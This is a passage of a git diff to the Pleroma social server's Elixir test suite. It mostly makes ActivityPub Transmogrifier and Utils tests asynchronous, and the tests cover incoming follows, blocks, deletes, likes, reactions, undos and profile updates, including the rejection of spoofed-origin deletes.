	\|> Map.put("object", follow_activity.data["id"])

	{:ok, activity} = Transmogrifier.handle_incoming(accept_data)
	assert activity.data["object"] == follow_activity.data["id"]

	follower = User.get_cached_by_id(follower.id)

	assert User.following?(follower, followed) == true

	follower = User.get_by_id(follower.id)
	assert follower.following_count == 1

	followed = User.get_by_id(followed.id)
	assert followed.follower_count == 1
	end

	test "it fails for incoming accepts which cannot be correlated" do
	follower = insert(:user)
	followed = insert(:user, is_locked: true)

	accept_data =
	File.read!("test/fixtures/mastodon-accept-activity.json")
	\|> Jason.decode!()
	\|> Map.put("actor", followed.ap_id)

	accept_data =
	Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id))

	{:error, _} = Transmogrifier.handle_incoming(accept_data)

	follower = User.get_cached_by_id(follower.id)

	refute User.following?(follower, followed) == true
	end
	end
	diff --git a/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs
	index 679c33c6c..6adad88f5 100644
	--- a/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs
	@@ -1,63 +1,63 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Transmogrifier.BlockHandlingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Activity
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Transmogrifier

	import Pleroma.Factory

	test "it works for incoming blocks" do
	user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-block-activity.json")
	\|> Jason.decode!()
	\|> Map.put("object", user.ap_id)

	blocker = insert(:user, ap_id: data["actor"])

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["type"] == "Block"
	assert data["object"] == user.ap_id
	assert data["actor"] == "http://mastodon.example.org/users/admin"

	assert User.blocks?(blocker, user)
	end

	test "incoming blocks successfully tear down any follow relationship" do
	blocker = insert(:user)
	blocked = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-block-activity.json")
	\|> Jason.decode!()
	\|> Map.put("object", blocked.ap_id)
	\|> Map.put("actor", blocker.ap_id)

	{:ok, blocker, blocked} = User.follow(blocker, blocked)
	{:ok, blocked, blocker} = User.follow(blocked, blocker)

	assert User.following?(blocker, blocked)
	assert User.following?(blocked, blocker)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["type"] == "Block"
	assert data["object"] == blocked.ap_id
	assert data["actor"] == blocker.ap_id

	blocker = User.get_cached_by_ap_id(data["actor"])
	blocked = User.get_cached_by_ap_id(data["object"])

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end
	end
	diff --git a/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs
	index cffaa7c44..1f9e73ff8 100644
	--- a/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs
	@@ -1,114 +1,115 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Transmogrifier.DeleteHandlingTest do
	use Oban.Testing, repo: Pleroma.Repo
	use Pleroma.DataCase

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Tests.ObanHelpers
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Transmogrifier

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "it works for incoming deletes" do
	activity = insert(:note_activity)
	deleting_user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-delete.json")
	\|> Jason.decode!()
	\|> Map.put("actor", deleting_user.ap_id)
	\|> put_in(["object", "id"], activity.data["object"])

	{:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} =
	Transmogrifier.handle_incoming(data)

	assert id == data["id"]

	# We delete the Create activity because we base our timelines on it.
	# This should be changed after we unify objects and activities
	refute Activity.get_by_id(activity.id)
	assert actor == deleting_user.ap_id

	# Objects are replaced by a tombstone object.
	object = Object.normalize(activity.data["object"])
	assert object.data["type"] == "Tombstone"
	end

	test "it works for incoming when the object has been pruned" do
	activity = insert(:note_activity)

	{:ok, object} =
	Object.normalize(activity.data["object"])
	\|> Repo.delete()

	+ # TODO: mock cachex
	Cachex.del(:object_cache, "object:#{object.data["id"]}")

	deleting_user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-delete.json")
	\|> Jason.decode!()
	\|> Map.put("actor", deleting_user.ap_id)
	\|> put_in(["object", "id"], activity.data["object"])

	{:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} =
	Transmogrifier.handle_incoming(data)

	assert id == data["id"]

	# We delete the Create activity because we base our timelines on it.
	# This should be changed after we unify objects and activities
	refute Activity.get_by_id(activity.id)
	assert actor == deleting_user.ap_id
	end

	test "it fails for incoming deletes with spoofed origin" do
	activity = insert(:note_activity)
	%{ap_id: ap_id} = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo")

	data =
	File.read!("test/fixtures/mastodon-delete.json")
	\|> Jason.decode!()
	\|> Map.put("actor", ap_id)
	\|> put_in(["object", "id"], activity.data["object"])

	assert match?({:error, _}, Transmogrifier.handle_incoming(data))
	end

	@tag capture_log: true
	test "it works for incoming user deletes" do
	%{ap_id: ap_id} = insert(:user, ap_id: "http://mastodon.example.org/users/admin")

	data =
	File.read!("test/fixtures/mastodon-delete-user.json")
	\|> Jason.decode!()

	{:ok, _} = Transmogrifier.handle_incoming(data)
	ObanHelpers.perform_all()

	assert User.get_cached_by_ap_id(ap_id).deactivated
	end

	test "it fails for incoming user deletes with spoofed origin" do
	%{ap_id: ap_id} = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-delete-user.json")
	\|> Jason.decode!()
	\|> Map.put("actor", ap_id)

	assert match?({:error, _}, Transmogrifier.handle_incoming(data))

	assert User.get_cached_by_ap_id(ap_id)
	end
	end
	diff --git a/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs
	index aea4ed6f8..1ebf6b1e8 100644
	--- a/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs
	@@ -1,61 +1,61 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Transmogrifier.EmojiReactHandlingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	test "it works for incoming emoji reactions" do
	user = insert(:user)
	other_user = insert(:user, local: false)
	{:ok, activity} = CommonAPI.post(user, %{status: "hello"})

	data =
	File.read!("test/fixtures/emoji-reaction.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])
	\|> Map.put("actor", other_user.ap_id)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == other_user.ap_id
	assert data["type"] == "EmojiReact"
	assert data["id"] == "http://mastodon.example.org/users/admin#reactions/2"
	assert data["object"] == activity.data["object"]
	assert data["content"] == "👌"

	object = Object.get_by_ap_id(data["object"])

	assert object.data["reaction_count"] == 1
	assert match?([["👌", _]], object.data["reactions"])
	end

	test "it reject invalid emoji reactions" do
	user = insert(:user)
	other_user = insert(:user, local: false)
	{:ok, activity} = CommonAPI.post(user, %{status: "hello"})

	data =
	File.read!("test/fixtures/emoji-reaction-too-long.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])
	\|> Map.put("actor", other_user.ap_id)

	assert {:error, _} = Transmogrifier.handle_incoming(data)

	data =
	File.read!("test/fixtures/emoji-reaction-no-emoji.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])
	\|> Map.put("actor", other_user.ap_id)

	assert {:error, _} = Transmogrifier.handle_incoming(data)
	end
	end
	diff --git a/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs
	index 967bad151..35211b8f2 100644
	--- a/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs
	@@ -1,78 +1,78 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Transmogrifier.LikeHandlingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Activity
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	test "it works for incoming likes" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "hello"})

	data =
	File.read!("test/fixtures/mastodon-like.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])

	_actor = insert(:user, ap_id: data["actor"], local: false)

	{:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data)

	refute Enum.empty?(activity.recipients)

	assert data["actor"] == "http://mastodon.example.org/users/admin"
	assert data["type"] == "Like"
	assert data["id"] == "http://mastodon.example.org/users/admin#likes/2"
	assert data["object"] == activity.data["object"]
	end

	test "it works for incoming misskey likes, turning them into EmojiReacts" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "hello"})

	data =
	File.read!("test/fixtures/misskey-like.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])

	_actor = insert(:user, ap_id: data["actor"], local: false)

	{:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data)

	assert activity_data["actor"] == data["actor"]
	assert activity_data["type"] == "EmojiReact"
	assert activity_data["id"] == data["id"]
	assert activity_data["object"] == activity.data["object"]
	assert activity_data["content"] == "🍮"
	end

	test "it works for incoming misskey likes that contain unicode emojis, turning them into EmojiReacts" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "hello"})

	data =
	File.read!("test/fixtures/misskey-like.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])
	\|> Map.put("_misskey_reaction", "⭐")

	_actor = insert(:user, ap_id: data["actor"], local: false)

	{:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data)

	assert activity_data["actor"] == data["actor"]
	assert activity_data["type"] == "EmojiReact"
	assert activity_data["id"] == data["id"]
	assert activity_data["object"] == activity.data["object"]
	assert activity_data["content"] == "⭐"
	end
	end
	diff --git a/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs
	index 5a3bef792..851236758 100644
	--- a/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs
	@@ -1,67 +1,67 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Transmogrifier.RejectHandlingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Activity
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	test "it fails for incoming rejects which cannot be correlated" do
	follower = insert(:user)
	followed = insert(:user, is_locked: true)

	accept_data =
	File.read!("test/fixtures/mastodon-reject-activity.json")
	\|> Jason.decode!()
	\|> Map.put("actor", followed.ap_id)

	accept_data =
	Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id))

	{:error, _} = Transmogrifier.handle_incoming(accept_data)

	follower = User.get_cached_by_id(follower.id)

	refute User.following?(follower, followed) == true
	end

	test "it works for incoming rejects which are referenced by IRI only" do
	follower = insert(:user)
	followed = insert(:user, is_locked: true)

	{:ok, follower, followed} = User.follow(follower, followed)
	{:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed)

	assert User.following?(follower, followed) == true

	reject_data =
	File.read!("test/fixtures/mastodon-reject-activity.json")
	\|> Jason.decode!()
	\|> Map.put("actor", followed.ap_id)
	\|> Map.put("object", follow_activity.data["id"])

	{:ok, %Activity{data: _}} = Transmogrifier.handle_incoming(reject_data)

	follower = User.get_cached_by_id(follower.id)

	assert User.following?(follower, followed) == false
	end

	test "it rejects activities without a valid ID" do
	user = insert(:user)

	data =
	File.read!("test/fixtures/mastodon-follow-activity.json")
	\|> Jason.decode!()
	\|> Map.put("object", user.ap_id)
	\|> Map.put("id", "")

	:error = Transmogrifier.handle_incoming(data)
	end
	end
	diff --git a/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs
	index fcfc7b4b6..107121ef8 100644
	--- a/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs
	@@ -1,185 +1,185 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Transmogrifier.UndoHandlingTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	test "it works for incoming emoji reaction undos" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{status: "hello"})
	{:ok, reaction_activity} = CommonAPI.react_with_emoji(activity.id, user, "👌")

	data =
	File.read!("test/fixtures/mastodon-undo-like.json")
	\|> Jason.decode!()
	\|> Map.put("object", reaction_activity.data["id"])
	\|> Map.put("actor", user.ap_id)

	{:ok, activity} = Transmogrifier.handle_incoming(data)

	assert activity.actor == user.ap_id
	assert activity.data["id"] == data["id"]
	assert activity.data["type"] == "Undo"
	end

	test "it returns an error for incoming unlikes wihout a like activity" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"})

	data =
	File.read!("test/fixtures/mastodon-undo-like.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])

	assert Transmogrifier.handle_incoming(data) == :error
	end

	test "it works for incoming unlikes with an existing like activity" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"})

	like_data =
	File.read!("test/fixtures/mastodon-like.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])

	_liker = insert(:user, ap_id: like_data["actor"], local: false)

	{:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data)

	data =
	File.read!("test/fixtures/mastodon-undo-like.json")
	\|> Jason.decode!()
	\|> Map.put("object", like_data)
	\|> Map.put("actor", like_data["actor"])

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == "http://mastodon.example.org/users/admin"
	assert data["type"] == "Undo"
	assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo"
	assert data["object"] == "http://mastodon.example.org/users/admin#likes/2"

	note = Object.get_by_ap_id(like_data["object"])
	assert note.data["like_count"] == 0
	assert note.data["likes"] == []
	end

	test "it works for incoming unlikes with an existing like activity and a compact object" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"})

	like_data =
	File.read!("test/fixtures/mastodon-like.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])

	_liker = insert(:user, ap_id: like_data["actor"], local: false)

	{:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data)

	data =
	File.read!("test/fixtures/mastodon-undo-like.json")
	\|> Jason.decode!()
	\|> Map.put("object", like_data["id"])
	\|> Map.put("actor", like_data["actor"])

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["actor"] == "http://mastodon.example.org/users/admin"
	assert data["type"] == "Undo"
	assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo"
	assert data["object"] == "http://mastodon.example.org/users/admin#likes/2"
	end

	test "it works for incoming unannounces with an existing notice" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "hey"})

	announce_data =
	File.read!("test/fixtures/mastodon-announce.json")
	\|> Jason.decode!()
	\|> Map.put("object", activity.data["object"])

	_announcer = insert(:user, ap_id: announce_data["actor"], local: false)

	{:ok, %Activity{data: announce_data, local: false}} =
	Transmogrifier.handle_incoming(announce_data)

	data =
	File.read!("test/fixtures/mastodon-undo-announce.json")
	\|> Jason.decode!()
	\|> Map.put("object", announce_data)
	\|> Map.put("actor", announce_data["actor"])

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["type"] == "Undo"

	assert data["object"] ==
	"http://mastodon.example.org/users/admin/statuses/99542391527669785/activity"
	end

	test "it works for incoming unfollows with an existing follow" do
	user = insert(:user)

	follow_data =
	File.read!("test/fixtures/mastodon-follow-activity.json")
	\|> Jason.decode!()
	\|> Map.put("object", user.ap_id)

	_follower = insert(:user, ap_id: follow_data["actor"], local: false)

	{:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data)

	data =
	File.read!("test/fixtures/mastodon-unfollow-activity.json")
	\|> Jason.decode!()
	\|> Map.put("object", follow_data)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)

	assert data["type"] == "Undo"
	assert data["object"]["type"] == "Follow"
	assert data["object"]["object"] == user.ap_id
	assert data["actor"] == "http://mastodon.example.org/users/admin"

	refute User.following?(User.get_cached_by_ap_id(data["actor"]), user)
	end

	test "it works for incoming unblocks with an existing block" do
	user = insert(:user)

	block_data =
	File.read!("test/fixtures/mastodon-block-activity.json")
	\|> Jason.decode!()
	\|> Map.put("object", user.ap_id)

	_blocker = insert(:user, ap_id: block_data["actor"], local: false)

	{:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(block_data)

	data =
	File.read!("test/fixtures/mastodon-unblock-activity.json")
	\|> Jason.decode!()
	\|> Map.put("object", block_data)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data)
	assert data["type"] == "Undo"
	assert data["object"] == block_data["id"]

	blocker = User.get_cached_by_ap_id(data["actor"])

	refute User.blocks?(blocker, user)
	end
	end
	diff --git a/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs
	index c62d5e139..8ed5e5e90 100644
	--- a/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs
	+++ b/test/pleroma/web/activity_pub/transmogrifier/user_update_handling_test.exs
	@@ -1,159 +1,159 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Transmogrifier.UserUpdateHandlingTest do
	use Pleroma.DataCase

	alias Pleroma.Activity
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Transmogrifier

	import Pleroma.Factory

	test "it works for incoming update activities" do
	user = insert(:user, local: false)

	update_data = File.read!("test/fixtures/mastodon-update.json") \|> Jason.decode!()

	object =
	update_data["object"]
	\|> Map.put("actor", user.ap_id)
	\|> Map.put("id", user.ap_id)

	update_data =
	update_data
	\|> Map.put("actor", user.ap_id)
	\|> Map.put("object", object)

	{:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(update_data)

	assert data["id"] == update_data["id"]

	user = User.get_cached_by_ap_id(data["actor"])
	assert user.name == "gargle"

	assert user.avatar["url"] == [
	%{
	"href" =>
	"https://cd.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg"
	}
	]

	assert user.banner["url"] == [
	%{
	"href" =>
	"https://cd.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"
	}
	]

	assert user.bio == "<p>Some bio</p>"
	end

	test "it works with alsoKnownAs" do
	%{ap_id: actor} = insert(:user, local: false)

	assert User.get_cached_by_ap_id(actor).also_known_as == []

	{:ok, _activity} =
	"test/fixtures/mastodon-update.json"
	\|> File.read!()
	\|> Jason.decode!()
	\|> Map.put("actor", actor)
	\|> Map.update!("object", fn object ->
	object
	\|> Map.put("actor", actor)
	\|> Map.put("id", actor)
	\|> Map.put("alsoKnownAs", [
	"http://mastodon.example.org/users/foo",
	"http://example.org/users/bar"
	])
	end)
	\|> Transmogrifier.handle_incoming()

	assert User.get_cached_by_ap_id(actor).also_known_as == [
	"http://mastodon.example.org/users/foo",
	"http://example.org/users/bar"
	]
	end

	test "it works with custom profile fields" do
	user = insert(:user, local: false)

	assert user.fields == []

	update_data = File.read!("test/fixtures/mastodon-update.json") \|> Jason.decode!()

	object =
	update_data["object"]
	\|> Map.put("actor", user.ap_id)
	\|> Map.put("id", user.ap_id)

	update_data =
	update_data
	\|> Map.put("actor", user.ap_id)
	\|> Map.put("object", object)

	{:ok, _update_activity} = Transmogrifier.handle_incoming(update_data)

	user = User.get_cached_by_ap_id(user.ap_id)

	assert user.fields == [
	%{"name" => "foo", "value" => "updated"},
	%{"name" => "foo1", "value" => "updated"}
	]

	- Pleroma.Config.put([:instance, :max_remote_account_fields], 2)
	+ clear_config([:instance, :max_remote_account_fields], 2)

	update_data =
	update_data
	\|> put_in(["object", "attachment"], [
	%{"name" => "foo", "type" => "PropertyValue", "value" => "bar"},
	%{"name" => "foo11", "type" => "PropertyValue", "value" => "bar11"},
	%{"name" => "foo22", "type" => "PropertyValue", "value" => "bar22"}
	])
	\|> Map.put("id", update_data["id"] <> ".")

	{:ok, _} = Transmogrifier.handle_incoming(update_data)

	user = User.get_cached_by_ap_id(user.ap_id)

	assert user.fields == [
	%{"name" => "foo", "value" => "updated"},
	%{"name" => "foo1", "value" => "updated"}
	]

	update_data =
	update_data
	\|> put_in(["object", "attachment"], [])
	\|> Map.put("id", update_data["id"] <> ".")

	{:ok, _} = Transmogrifier.handle_incoming(update_data)

	user = User.get_cached_by_ap_id(user.ap_id)

	assert user.fields == []
	end

	test "it works for incoming update activities which lock the account" do
	user = insert(:user, local: false)

	update_data = File.read!("test/fixtures/mastodon-update.json") \|> Jason.decode!()

	object =
	update_data["object"]
	\|> Map.put("actor", user.ap_id)
	\|> Map.put("id", user.ap_id)
	\|> Map.put("manuallyApprovesFollowers", true)

	update_data =
	update_data
	\|> Map.put("actor", user.ap_id)
	\|> Map.put("object", object)

	{:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(update_data)

	user = User.get_cached_by_ap_id(user.ap_id)
	assert user.is_locked == true
	end
	end
	diff --git a/test/pleroma/web/activity_pub/utils_test.exs b/test/pleroma/web/activity_pub/utils_test.exs
	index be9cd7d13..2263b6091 100644
	--- a/test/pleroma/web/activity_pub/utils_test.exs
	+++ b/test/pleroma/web/activity_pub/utils_test.exs
	@@ -1,548 +1,548 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.UtilsTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Activity
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.AdminAPI.AccountView
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	require Pleroma.Constants

	describe "fetch the latest Follow" do
	test "fetches the latest Follow activity" do
	%Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity)
	follower = User.get_cached_by_ap_id(activity.data["actor"])
	followed = User.get_cached_by_ap_id(activity.data["object"])

	assert activity == Utils.fetch_latest_follow(follower, followed)
	end
	end

	describe "determine_explicit_mentions()" do
	test "works with an object that has mentions" do
	object = %{
	"tag" => [
	%{
	"type" => "Mention",
	"href" => "https://example.com/~alyssa",
	"name" => "Alyssa P. Hacker"
	}
	]
	}

	assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"]
	end

	test "works with an object that does not have mentions" do
	object = %{
	"tag" => [
	%{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"}
	]
	}

	assert Utils.determine_explicit_mentions(object) == []
	end

	test "works with an object that has mentions and other tags" do
	object = %{
	"tag" => [
	%{
	"type" => "Mention",
	"href" => "https://example.com/~alyssa",
	"name" => "Alyssa P. Hacker"
	},
	%{"type" => "Hashtag", "href" => "https://example.com/tag/2hu", "name" => "2hu"}
	]
	}

	assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"]
	end

	test "works with an object that has no tags" do
	object = %{}

	assert Utils.determine_explicit_mentions(object) == []
	end

	test "works with an object that has only IR tags" do
	object = %{"tag" => ["2hu"]}

	assert Utils.determine_explicit_mentions(object) == []
	end

	test "works with an object has tags as map" do
	object = %{
	"tag" => %{
	"type" => "Mention",
	"href" => "https://example.com/~alyssa",
	"name" => "Alyssa P. Hacker"
	}
	}

	assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"]
	end
	end

	describe "make_like_data" do
	setup do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)
	[user: user, other_user: other_user, third_user: third_user]
	end

	test "addresses actor's follower address if the activity is public", %{
	user: user,
	other_user: other_user,
	third_user: third_user
	} do
	expected_to = Enum.sort([user.ap_id, other_user.follower_address])
	expected_cc = Enum.sort(["https://www.w3.org/ns/activitystreams#Public", third_user.ap_id])

	{:ok, activity} =
	CommonAPI.post(user, %{
	status:
	"hey @#{other_user.nickname}, @#{third_user.nickname} how about beering together this weekend?"
	})

	%{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil)
	assert Enum.sort(to) == expected_to
	assert Enum.sort(cc) == expected_cc
	end

	test "does not adress actor's follower address if the activity is not public", %{
	user: user,
	other_user: other_user,
	third_user: third_user
	} do
	expected_to = Enum.sort([user.ap_id])
	expected_cc = [third_user.ap_id]

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "@#{other_user.nickname} @#{third_user.nickname} bought a new swimsuit!",
	visibility: "private"
	})

	%{"to" => to, "cc" => cc} = Utils.make_like_data(other_user, activity, nil)
	assert Enum.sort(to) == expected_to
	assert Enum.sort(cc) == expected_cc
	end
	end

	test "make_json_ld_header/0" do
	assert Utils.make_json_ld_header() == %{
	"@context" => [
	"https://www.w3.org/ns/activitystreams",
	"http://localhost:4001/schemas/litepub-0.1.jsonld",
	%{
	"@language" => "und"
	}
	]
	}
	end

	describe "get_existing_votes" do
	test "fetches existing votes" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "How do I pronounce LaTeX?",
	poll: %{
	options: ["laytekh", "lahtekh", "latex"],
	expires_in: 20,
	multiple: true
	}
	})

	object = Object.normalize(activity)
	{:ok, votes, object} = CommonAPI.vote(other_user, object, [0, 1])
	assert Enum.sort(Utils.get_existing_votes(other_user.ap_id, object)) == Enum.sort(votes)
	end

	test "fetches only Create activities" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{
	status: "Are we living in a society?",
	poll: %{
	options: ["yes", "no"],
	expires_in: 20
	}
	})

	object = Object.normalize(activity)
	{:ok, [vote], object} = CommonAPI.vote(other_user, object, [0])
	{:ok, _activity} = CommonAPI.favorite(user, activity.id)
	[fetched_vote] = Utils.get_existing_votes(other_user.ap_id, object)
	assert fetched_vote.id == vote.id
	end
	end

	describe "update_follow_state_for_all/2" do
	test "updates the state of all Follow activities with the same actor and object" do
	user = insert(:user, is_locked: true)
	follower = insert(:user)

	{:ok, _, _, follow_activity} = CommonAPI.follow(follower, user)
	{:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user)

	data =
	follow_activity_two.data
	\|> Map.put("state", "accept")

	cng = Ecto.Changeset.change(follow_activity_two, data: data)

	{:ok, follow_activity_two} = Repo.update(cng)

	{:ok, follow_activity_two} =
	Utils.update_follow_state_for_all(follow_activity_two, "accept")

	assert refresh_record(follow_activity).data["state"] == "accept"
	assert refresh_record(follow_activity_two).data["state"] == "accept"
	end
	end

	describe "update_follow_state/2" do
	test "updates the state of the given follow activity" do
	user = insert(:user, is_locked: true)
	follower = insert(:user)

	{:ok, _, _, follow_activity} = CommonAPI.follow(follower, user)
	{:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user)

	data =
	follow_activity_two.data
	\|> Map.put("state", "accept")

	cng = Ecto.Changeset.change(follow_activity_two, data: data)

	{:ok, follow_activity_two} = Repo.update(cng)

	{:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject")

	assert refresh_record(follow_activity).data["state"] == "pending"
	assert refresh_record(follow_activity_two).data["state"] == "reject"
	end
	end

	describe "update_element_in_object/3" do
	test "updates likes" do
	user = insert(:user)
